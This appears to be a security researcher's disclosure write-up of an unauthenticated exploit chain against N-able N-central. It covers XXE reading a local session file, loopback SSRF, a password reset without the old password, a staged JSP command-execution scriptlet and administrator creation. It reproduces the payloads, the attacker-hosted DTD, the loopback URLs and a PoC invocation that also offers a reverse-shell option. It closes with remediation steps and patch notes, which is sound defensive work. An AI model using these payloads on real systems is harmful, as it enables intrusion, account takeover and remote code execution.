All research

Vulnerability Research

Build Your Own Admin (BYOA): An Unauthenticated RCE & Admin Creation Exploit Chain for N-Able N-Central

An unauthenticated N-able N-central exploit chain using XXE and loopback SSRF to reset a user password, create an administrator, and execute commands as the nable service account.

On this page

Today I bring you a fancy exploit chain to achieve anonymous admin creation, and remote code execution on N-Central.

tl;dr: Anonymous appliance SOAP let me write two files to known paths. The service import parsed one before checking the UI session, so XXE could read a live NCI session from disk. A second validation-order bug made that session usable for UI calls. I reset an existing user's password, logged in, created a role-1002 administrator, and ran /usr/bin/id as the nable service account.

Exploit Chain

PrimitiveResult
Anonymous Probe.ListAllEnumerate a valid appliance ID
MMS2 SessionHelloMint an appliance session using that ID
ApplianceLogSubmitWrite attacker-controlled XML and a JSP carrier to predictable server paths
ImportServiceFromFileParse the XML and resolve external entities before rejecting an invalid UI session
External parameter entityRead nci-session.id and insert it into a loopback request
NCI printallstacksCopy the staged JSP carrier into an executable web path
systemGetNetworkInfoReplace the NCI session's localService marker before validation finishes
userModifyPasswordSet an attacker-chosen password without the old password
ServerEI2.userAdd and authenticated JSP requestCreate an administrator and execute commands as uid=992(nable)

What I needed

The attack was unauthenticated, but the PoC still needed these identifiers and conditions:

  • Network access to the appliance's SOAP/API service on HTTPS 443 and UI on HTTPS 8443.
  • A valid appliance ID. I obtained these anonymously through a separate Probe.ListAll primitive.
  • The username and numeric user ID (Default is 50) of an existing account to reset.
  • An HTTP callback that N-central could reach for the XSD and DTD.

The complete BYOA PoC takes those values as arguments and drives the entire chain.

1. Put controlled files on the appliance

I started with the appliance-facing MMS2 service. SessionHello accepted an appliance ID and returned a numeric MMS session:

<m:SessionHello>
  <m:version>2.0.0</m:version>
  <m:applianceVersion>1.0.0.0</m:applianceVersion>
  <m:agent_OSID>winnt</m:agent_OSID>
  <m:agent_OS>Windows</m:agent_OS>
  <m:applianceID>KNOWN_APPLIANCE_ID</m:applianceID>
  <m:timeZoneID>-05:00</m:timeZoneID>
</m:SessionHello>

In the tested build, possession of the ID was enough to get this session. There was no cryptographic proof that my client was the enrolled appliance represented by that ID.

I passed the returned session to ApplianceLogSubmit, which accepts a base64-encoded body and a log type:

<m:ApplianceLogSubmit>
  <m:sessionID>MMS_SESSION</m:sessionID>
  <m:logType>INSTALLATION_LOG</m:logType>
  <m:contents>BASE64_CONTENT</m:contents>
</m:ApplianceLogSubmit>

Two accepted log types gave me predictable files:

/opt/nable/webapps/ROOT/applianceLog/install_log_<appliance-id>.log
/opt/nable/webapps/ROOT/applianceLog/network_check_log_<appliance-id>.log

The recovered implementation derives those names directly from the selected log type and appliance ID, then writes the supplied bytes:

if (logType.equalsIgnoreCase(Constants.INSTALLATION_LOG)) {
    fileName = "install_log_" + applianceID + ".log";
} else if (logType.equalsIgnoreCase(Constants.NETWORK_CHECK_LOG)) {
    fileName = "network_check_log_" + applianceID + ".log";
}

new FileOutputStream(resolvedPath).write(contents);

The filenames were fixed and ended in .log, but I controlled their contents and knew their absolute paths. The service import would parse one of them.

I used the installation log as the XML carrier. I used the network-check log to hold a fake Java stack trace containing the JSP that would become the final command-execution payload.

2. Make a failed import parse the carrier

For each XXE phase, the installation log contained a small service document with an attacker-controlled schema hint:

<?xml version="1.0"?>
<service xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="http://CALLBACK_HOST:18134/prime.xsd"
         syntaxversion="1.1.0.0">
  <Name>System Health</Name>
</service>

My callback served an XSD that loaded an external DTD:

<?xml version="1.0"?>
<!DOCTYPE xs:schema SYSTEM "http://CALLBACK_HOST:18134/prime.dtd">
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <xs:element name="service" type="xs:anyType"/>
</xs:schema>

I then called the Axis ServerUI.ImportServiceFromFile method with no UI cookies and a deliberately invalid session:

<m:ImportServiceFromFile>
  <SessionID>2147483000</SessionID>
  <CustomerID>1</CustomerID>
  <FilePath>/opt/nable/webapps/ROOT/applianceLog/install_log_KNOWN_APPLIANCE_ID.log</FilePath>
  <CustomService>false</CustomService>
</m:ImportServiceFromFile>

The import returned HTTP 500. Meanwhile, the callback logged requests for both prime.xsd and prime.dtd from the appliance.

The 500 came after the parse. The recovered ImportServiceFromFile flow validated and parsed the file before session-dependent work stopped the import:

public T_Service importService(int sessionID, int customerID,
                               String filePath, boolean customService) {
    validate(filePath);
    validateCustomerIsSystemOrSO(customerID);
    Document doc = setDocument(filePath);
    return submit(doc, syntaxVersion, sessionID, customerID, customService);
}

validate(filePath) reached XMLVerify.validateXML(). That code enabled validation and schema processing but did not disable external DTDs or parameter entities before parsing:

SAXParser parser = new SAXParser();
parser.setFeature("http://xml.org/sax/features/validation", true);
parser.setFeature("http://apache.org/xml/features/validation/schema", true);
parser.setProperty(
    "http://apache.org/xml/properties/schema/external-schemaLocation",
    schemaLocation
);
parser.parse(inputFile);

3. Spend the NCI session without stealing it

With XXE working, I went after the local NCI session file.

N-central's NCI client automatically reads a short-lived local-service session from:

/var/opt/n-central/jetty/nci-session.id

Recovered code in NciCallerImpl.autoAuthenticate() confirmed the behavior. The session was created as UI appliance ID 3, user ID 1, marked with soapMethod=localService, and normally expired after two minutes.

I did not need to exfiltrate the numeric value or race the expiry. An external parameter entity inserted the file's contents into a URL that the appliance requested from itself:

<!ENTITY % sid SYSTEM "file:///var/opt/n-central/jetty/nci-session.id">
<!ENTITY % bind "<!ENTITY &#x25; fire SYSTEM
  'http://127.0.0.1:81/dms/services/ServerUI?method=METHOD&#x26;SessionID=%sid;'>">
%bind;
%fire;

The callback supplied the DTD, but the request carrying the session stayed on 127.0.0.1. The session value never went to my server and never had to survive a network round trip back to the appliance.

Xerces made the loopback request with the current NCI session in its URL. I did not need to send the value to my callback.

4. Turn an NCI-only session into a UI session

The NCI session was not immediately accepted as an ordinary UI session. Its soapMethod field contained the marker localService, and normal UI validation rejected sessions carrying that marker.

The second ordering bug was in UiSessionValidatorImpl.performSessionValidation(). The code changed the session's method marker before checking whether the session type was valid in the current context:

sessionService.setSoapMethod(sessionId, functionName);
validateSessionType(sessionId);
// User and permission checks follow.

My first loopback request used systemGetNetworkInfo:

http://127.0.0.1:81/dms/services/ServerUI
  ?method=systemGetNetworkInfo
  &SessionID=<contents of nci-session.id>

The call replaced localService with System_GetNetworkInfo before validation finished. I did not need the method's output; it had already changed the session marker.

The next XXE phase used the same in-place session expansion to call userModifyPassword:

http://127.0.0.1:81/dms/services/ServerUI
  ?method=userModifyPassword
  &SessionID=<contents of nci-session.id>
  &userID=TARGET_USER_ID
  &oldPassword=
  &newPassword=ATTACKER_CHOSEN_PASSWORD
  &invalidateSessionMode=0
  &sendEmail=false

oldPassword was empty. The call changed the selected user's password, and I verified the effect by logging in through the normal HTTPS 8443 UI with the attacker-chosen value.

I started with a username and user ID. The reset gave me a working UI login without the old password.

5. Stage the JSP before login, execute it after login

I had staged the command payload before resetting the password. ApplianceLogSubmit placed a fake Java thread dump in the network-check log, with a JSP scriptlet embedded in the body:

"diagnostic-worker" #1 prio=5 tid=0x1 nid=0x1 runnable
   java.lang.Thread.State: RUNNABLE
<jsp:scriptlet
>
Process p = new ProcessBuilder("/bin/bash", "-c", COMMAND)
    .redirectErrorStream(true).start();
String output = new String(
    p.getInputStream().readAllBytes(),
    java.nio.charset.StandardCharsets.UTF_8
);
p.waitFor();
java.nio.file.Files.deleteIfExists(java.nio.file.Path.of(JSP_PATH));
out.clearBuffer();
out.print(output);
</jsp:scriptlet
>

Through the same XXE-to-loopback path, I invoked NCI's printallstacks command. Under live testing, it behaved as an attacker-controlled source-and-destination file-copy primitive:

<item>printallstacks</item>
<item>/opt/nable/webapps/ROOT/applianceLog/network_check_log_KNOWN_APPLIANCE_ID.log</item>
<item>/opt/nable/webapps/ROOT/applianceLog/diag_RANDOM.jsp</item>

The PoC URL-encoded those items into the NCI Command parameter. The result was an executable JSP beneath the deployed applianceLog web directory.

I checked that the staged JSP had not run before login. An anonymous request redirected to the login page, and the separate public marker was absent.

After the password reset, I requested the same JSP with the fresh authenticated session. It returned HTTP 200 and the output of the selected command. The JSP then deleted its own source file.

6. Build a new administrator

After proving account takeover and command execution, I created a new administrator through ServerEI2.userAdd.

Using the acquired username and attacker-selected password, I called ServerEI2.userAdd with the following settings:

email          = <new administrator username>
username       = <new administrator username>
password       = <new administrator password>
customerid     = 101
status         = enabled
userroleID     = 1002
accessgroupID  = 205017650

I verified the new account separately. The PoC established a session using its credentials and requested the protected Add User action. The login was accepted, and the protected action returned 200.

At that point I had a working administrator login and command execution as nable, starting from anonymous access.

End-to-end proof

The public PoC starts its own XSD/DTD callback server, performs each XXE phase, resets the selected account, optionally creates and validates a new administrator, executes a direct command or reverse shell, and cleans up assessment state.

sh$ python3 anonymous_xxe_nable_rce.py \
  --appliance-id <VALID_APPLIANCE_ID> \
  --callback-host <CALLBACK_IP> \
  --user-id <TARGET_USER_ID> \
  --username <TARGET_USERNAME> \
  --customer-id 1 \
  --restore-password '<FRESH_RECOVERY_PASSWORD>' \
  --create-admin-username <NEW_ADMIN_USERNAME> \
  --create-admin-password '<NEW_ADMIN_PASSWORD>' \
  --delete-created-admin \
  --proxy "$HTTPS_PROXY" \
  --command /usr/bin/id
created_admin_id=1290595928
created_admin_login=accepted
created_admin_role_id=1002
created_admin_protected_action=200
uid=992(nable) gid=992(nable) groups=992(nable) context=system_u:system_r:unconfined_service_t:s0
created_admin_deleted=true
account_password_restored=true
staging_logs_neutralized=true

The created_admin_role_id line records the role requested during creation. The independent evidence is the new account's successful login and access to the protected Add User action.

The PoC supports a reverse shell through --lhost and --lport. Omitting --delete-created-admin leaves the requested account in place. For validation runs, I used cleanup and a fresh compliant recovery password because password history can reject immediate reuse of the previous value.

Terminal proof showing the new administrator login, protected action, command execution as nable, and cleanup results

Why the code failed

BoundaryCode or design issueCapability gained
Appliance identityA valid appliance ID was accepted without a cryptographic peer proofAnonymous MMS session
Log submissionThe session could write arbitrary bytes to predictable server-side log filesControlled XML and JSP carrier
Service importXML validation ran before the supplied UI session stopped the operationPre-auth parser access
XML validationExternal DTD and parameter-entity resolution were not disabledLocal file read and SSRF
Local NCI trustA privileged local session was represented by a reusable bearer value and accepted by loopback HTTPPrivileged internal request context
UI validationsoapMethod changed before session-type validation completedNCI-session declassification
Password managementThe declassified internal session could reset another user with an empty old passwordAttacker-controlled UI credentials
Diagnostics and deploymentprintallstacks accepted attacker-controlled source/destination paths, and the destination executed JSPCommand execution as nable

The key step was using the parser to read a local bearer session and send it to ServerUI over loopback. The session checks trusted that local request path, even though an anonymous import had supplied the URL.

Remediation

Blocking external entities breaks the demonstrated chain, but each trust failure should be fixed independently:

  1. Authenticate and authorize before opening or parsing a caller-selected file. ImportServiceFromFile should reject the session before validate(filePath).
  2. Configure every XML parser through one fail-closed factory. Disallow DOCTYPE, external general entities, external parameter entities, external DTD loading, and attacker-directed schema retrieval.
  3. Cryptographically authenticate appliances during session establishment. An appliance ID should identify a peer, not prove its identity.
  4. Keep attacker-controlled logs outside the deployed webroot and serve them as inert content.
  5. Replace the NCI bearer session with a purpose-bound local mechanism, such as process-bound credentials or a Unix-domain transport that cannot be replayed through HTTP.
  6. Treat session type and authentication context as immutable. Never change an authorization marker before all validation succeeds.
  7. Require the old password or a scoped, one-time recovery token. Internal administrative reset functionality should be a separate, explicitly authorized, fully audited operation.
  8. Restrict diagnostic commands to fixed source and destination directories, canonicalize paths, reject executable extensions, and prevent writes anywhere under a JSP-enabled deployment.
  9. Disable JSP execution in writable data directories and separate application code from runtime data at the filesystem and servlet-container layers.

Patch and publication note

N-able's November 13 remediation update states that N-central 2026.4 HF2 addressed the internet-facing unauthenticated vulnerabilities. The same update lists multiple XXE vulnerabilities as CVE-2026-125883 and service-import schema-hint SSRF as CVE-2026-125881.

I reproduced this chain on 2026.4.0.31. I have not verified it against HF2 or later builds.

Artifacts